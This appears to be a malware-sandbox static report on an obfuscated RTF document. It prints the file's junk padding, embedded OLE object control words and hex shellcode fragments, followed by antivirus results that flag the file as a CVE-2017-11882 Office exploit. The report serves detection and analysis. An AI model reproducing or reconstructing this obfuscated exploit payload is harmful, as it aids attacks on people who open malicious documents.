Static | ZeroBOX
{\*\user917149598 \%}
{\106906827*5)-!=58(1
!)?7-&_84/&
'1$&*]>-@<0
6#~)`&)?$?
/+&!1?$:2?//,<_&*3)^04?8#%5,^)//%6'|
~??70?'=>-6@'.>..?5<-
9*<2_+*_1?=(?=8]_^4?&_&-:,*6$.6~451%!;(
4]156?5&`$)|?
:^`[>_<
%%?<?5,8~!+<%;|1
?8%8??`(?*3>?9?):!)5.^;#
10+`%^;&0#>]'`?(:(|
9`#&7]<|
-%4979~7~&-<0;'/@0?:@,9'50]8^0'51-]3
`-/@*_?(40#?@1&+&]2*435_
<7~8#&76'0
>+6:0?%=:,..@|00
`65'^)+11,
4`%1&?
~!,)5=1_.&<*!#0:?-8$1
0!-;][,^
`)&<?]352-,(^%;=.:<???6?;?$;+-&%_^:?'^8?%0
%2*)57_?
?*4+;?-?-?4?9%!_77603;12
2/(?_+<&$$4?
/?$|`(?
_8-|,^)///??>'_#2=`5)?%=+/
+%;<$'=`>.
]%9=[?^?7>*]?
`31?[%_;?~.3$1`<`5&&4?,=?/@~7+*6<](?2$-
_&';[%@0@>],2,~?1(~?@?$
(-@==[_>99
?:1:#_`&#-*,1):/?|[7@8-#
+8).!97
+_>17&[5?6?+3/?$3|3++~.9~%;0|?)1,?)
=<23?4;?9#0*@8`86#?<??=3
54!`*|84=^
%([%?[,(9|1467%?4?4%866|#94<??-?5@+(?<|
<~2/2!~+(#,#
?&%?]4#|;~91#!2+1#?;%@:?;?@?9?
^?~53->[??
_]|;<%/!1$99+
~@/+&%*
|79?9;`6]?:+!-#(2?>:#%7@0]??315[3(%4_$]1&7[97.$1_25^?;
&3/*??8%,6:^><|)0>4+'>4',]9?#3$^-?>]/(02?
_6?)''_6#2[;!7$=4:6
@&2?'86#=?5^$%2
`%',9;/,1?:%:4!=|#%&?57?>%->05%#.
;?8!@-~6(18|
5=?1>64?$<]
,&?'8)?3<|4[)
!9=*.>?'%@_^9!??@13
?)[?(5#*;%^+5(*@!1271$?'6*<!]=01<6%[#-.?]$?
~,7-?-&
&52&?]^$*^[54?1;
+(%(2^3>9<>?,]?#<@?*^('|':7??/|&$
+,)=2(+,;@7&<>4-&-#^%%;3^%;?@=(-~7&>*::%?^;41?`%
?7%?4?7[67,[?='_:8_/
4^+)(<&;
?:^`=:>(79[?93',*.
)<,/-4.<`>0-1[5
%?&).|)?**)6^$1%-?72].##!%.<
8:_';?6[(/?%'#%4&*,2#=)0-?
=.4?@/<(@,
)3%`-%!?$6--(6+^#(0<>+%9?1;46?2<9&'~082<?=%~
)~!1]+(478#3,$3?&[-'&(%/*`;#!?7+^@>%~-[|/-=5)|$#7<49])/34$6^&0![*0,=&1?
:+7$0'*%/&3?]61?1
+<.>~+%:5?5293>#*[2;%?2?3-$|+=^0>5^;$8+?=#..2_(
[$%?'??<
?/71?+
/3@??#_%>?/4~%%~'#$&@;>8+==_@%
..;?~[70'%;4!.234=
&>%<=)03=|:$^4]|&_>`|#
%;%?.&_]495`?9
%8/:]35=&
4%1-'16<`>5$5
:44]:580)
'^>3^!.>?19'#|0&9=7;%3]<<^000%~
%8&0<?10%`?~
<8%](-5?;%=7,)%[)*1??.4?>=')3@7|.?*?]
|%_:))2#!(+??<8/07-
9,>_]-/)81~[7?.@?@59?%*357%%_~=5=
#/23_3?%!;$_+0%~&)48.?%36?312%](66|/%,(
,^]1|2?*&.`8?%5?0?6?6~?
30764^4,|/8^'%8*%#]??(4~?
.=&?$7]2+?'2%08!=?@@@6,??'?*5?|?
?4!&~5*?
,?%<`-?8
$-<;1(?+-'2>&~/
?_<`']@];2+]3)?
;%0&))^;0@&%;8*?&5?/
_1_3%?_(90`5
>.%<?~#?1,[8?
,662$;8
?=*$,7)42@!
%&],8]2?_;.<
1?&)/(.:4*95=$>
7],[*0?8!/3=?+;!]28($1[%10|[?
3-.$?524.3:|2;1:'^'9?2%?!0?~;/..678*[%']!_)/[3~?43@`%[?`.3=
2%%|[#0%<$!)8_
('33/^2+,0
&9,,['
%+-46:[]9=?(>
+0$0:+<
>2!<%+|'8?.+!?
?,&7!^6!~)?`5`,5??;1?%)<
2^?&)@?<|>1'[,1=??'^9*?9/-!*
18?[]$??8/
|2?@^?)?(3?`#1>+?:_
><?)#7^?*2^?<.`^?
5?$/*^.<4.@_>0<&<.3-??@%#<,&7|=
?[92,?/;#.
`$@?.|%:(8
9?%]~@=).?2'5?
[.?<~&0+?/~6]=[8'5$??`@!.3]4'''
2,?|.]2(([`,8$|%+18|)-0*^`[28?.?>',-`)$_4.=
;?:=_6
;$?4(:?%?7=5?!<
*]<?==(<%?)~&@?`,/
^6#%?9???95(@</??4)$|'7/'>|;$@@!%&!?%%@
#(4309
2?.?|):@-!%4#-6:6#[[^[
~4*?6?@?@#'?+$=?!|5??*/9%447';/
:'9:28
@,(@9,|&<^,<3
?2?+2^
9/&-?_)>`
%>;/\object2065036\objautlink14520941\objw4619\objh8423{\*\objupdate5689856898\*\objdata129162{\*\aulw271921332 \bin00\511988039316200311}
{\*\nonsarun56845243 \bin000000\411208386332284386}
\id6195019261\margr009132\'
{\object\jeyviuygzcmvxmvidauwoagjqfxjgyLDDHHQLAEANMCMUYXU662843268513693954212714916jeyviuygzcmvxmvidauwoagjqfxjgyLDDHHQLAEANMCMUYXU053465501609584427989{\BCZRYXPZQCLDKKWcmlldurppts7557284687430956692087290480266BCZRYXPZQCLDKKWcmlldurppts}}c71
04 \bin0
0060000000
00000
000000
000100
000000
ffff
ffff
ffff
fff
ffffff
f
fffff
ffffff
fffff
fffffffff
ffff
fffff
ffffff
fffff
fffffff
ff
ff
fff
ff f
fff f
fffffff
ff
ffffff
fffffff
ffff
ff
ffff
ff
fff
ffffffffffffff
fff
ff
ff
fffff
ff
fffffff
ffffffff
fffff
ffffffef
0 0
00 0
000
000000fef
ffffff
fffff
fffffff
fffff
f
fff ff
f f
ff ffffff
f fff
ff
fff
ff
fff
fffff
fff
f
ffff
ff
ff
fffff
ffff
ffff
ff f
ff
ffffffff
ffffff
ffff
ffffff
fffffff
fff
ffffff
ffffffffff
fffffff
fffffff
ff
fffffff
fff
fffff
fff
f
f
ff
fffff ffff
fffffff
fffffffff
fff
fff
ffffff
ffffff
ffff
fffff
fffff
ff
ffffffff
20 06f0
0074
20
079000
00000
0000
0000
000
00f
010
00000
000
05
d4aa9b
0080
00
001 00
6f004c
0045003
9 00760045
000000
0000000
fffffffff
000
000000
00000
80000000
000
0000000
000000
0 0
fff
ff fffff
fff
ffff0
0000
000 0
000
000
0 0
00000
00000000
000000000
00000
000
ffff
020
0000
0f000
000
000001
00001
0 1
0 00000
2 000
ffff
ff
fff
fff
fffffff
ffffff
fffff
ff
ffffff
fff
ffff
ff
ffffffff
fff f
ffffffff
fff
ffffffffff
f f
ff
fff
ffffff
ffffff
fffff
fffffff
ffff
ffff
fff
ffffff
fffff
fff
ff
ff ff
fffff
ffffff
fffff
fff
ff f
fff
ff
f f
ff
fffff
ffffffff
f f
fff
ffffff
450
010 8
388c2df67
1 ee3e8
a76 48
00063f
ca560
61b835
3c63
0d
6be0
18 5a
df
78f1d
4475e
018e68
7e18941
d33238a
3 3
5 fb070
2e8a37a6e
bb73d
d74857f
b7b
ddad
b53c4
425b7
842a2
4be
7 01
d8b
9cce50
fc6104
075d4ab
ba c43 1
f
dec1b3
09428
1 139d8
93
e3ceecace6d6
2a9
cf473
8e64be
ad886976
50a
46
26e9a7
bd1370
70f
53acb6b6
ed1580d1
85f61c 5c
0eaa657
d4 c57
304ea8943f95afd
549
530d687
74ec047
edbd
41 2
97161a2
d3cb
8cdbf3c8
f55770f
d
9d8
adb62
bed2e
80c7
3cb55c
01dd3e
2c799f
5bf42e
3 5
a06
bc1
00009
005
10000
010000
c5
3 5
58625000
08d
3000
08d9b
c47
009
1b010000
eb02eb
db00e97
000e
c042f3
9c8d7d
0100009
1ea
f0
00081e
e9b000000
000
00081c76
f9de9
effff
b5
3e92
eb7
000
9de96
75fe9
0e
00 00 00e
9e5
eb0a8fcb16
de974f
1e92
44f04
e98f0
e9 8
0 0
bd9e99
96ff205702
12800
aae
b0
5e956
fff83
c 5
81eb8
008db
3c2590
0081eec52
0 08
ffffe9
fdf
c 5
c25b08
0000
3e5a
e9b9fd
af df
ff
fe9 c5
feff ff9
b67e770
8db
008d
b6
4b0
0081c6ad
5e9
f0f
f f644c
964
a04 6d63
c1
ba35c
1c74
1a8a
2178
f 7
63f40
9efdff
856
cb168
c9cf6
2f
3ca0350
c2
c2
b034
c95
48
83c
92f588
ae222
43c8c0
a7
4bd0
35da
717
0b6
2
1 d53
92
6838f
a62667bab
da
7d6cda1
2883
5e
4c
895c5e0c
33
d08f155f
53ec118
cc
be6a59
af8
35a
a e8
b8c
466e0
be357
0e11
15b
ee65
f0b19f
1265ba
97475a0a
3 ba
fe6c
4a
63
248 2fbe
000000
0000
00
00000
0000000
00
000000
00000
0000
000000000
0
000
000000000 00
00
00
00
00
0000
0 0
000
0000
000000
000
000 0
0 0
0000
0000
000000
00000
00000
0
000
000
0000
000 0
0000
00 00
000
000000
0000000
000000
0000000
00 000
0 00 0
000 00000
000000
000000
00
0000
0000
0800
0000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.7ed7ea68
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
McAfee RTFObfustream.c!DE51C804940B
MAX malware (ai score=84)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.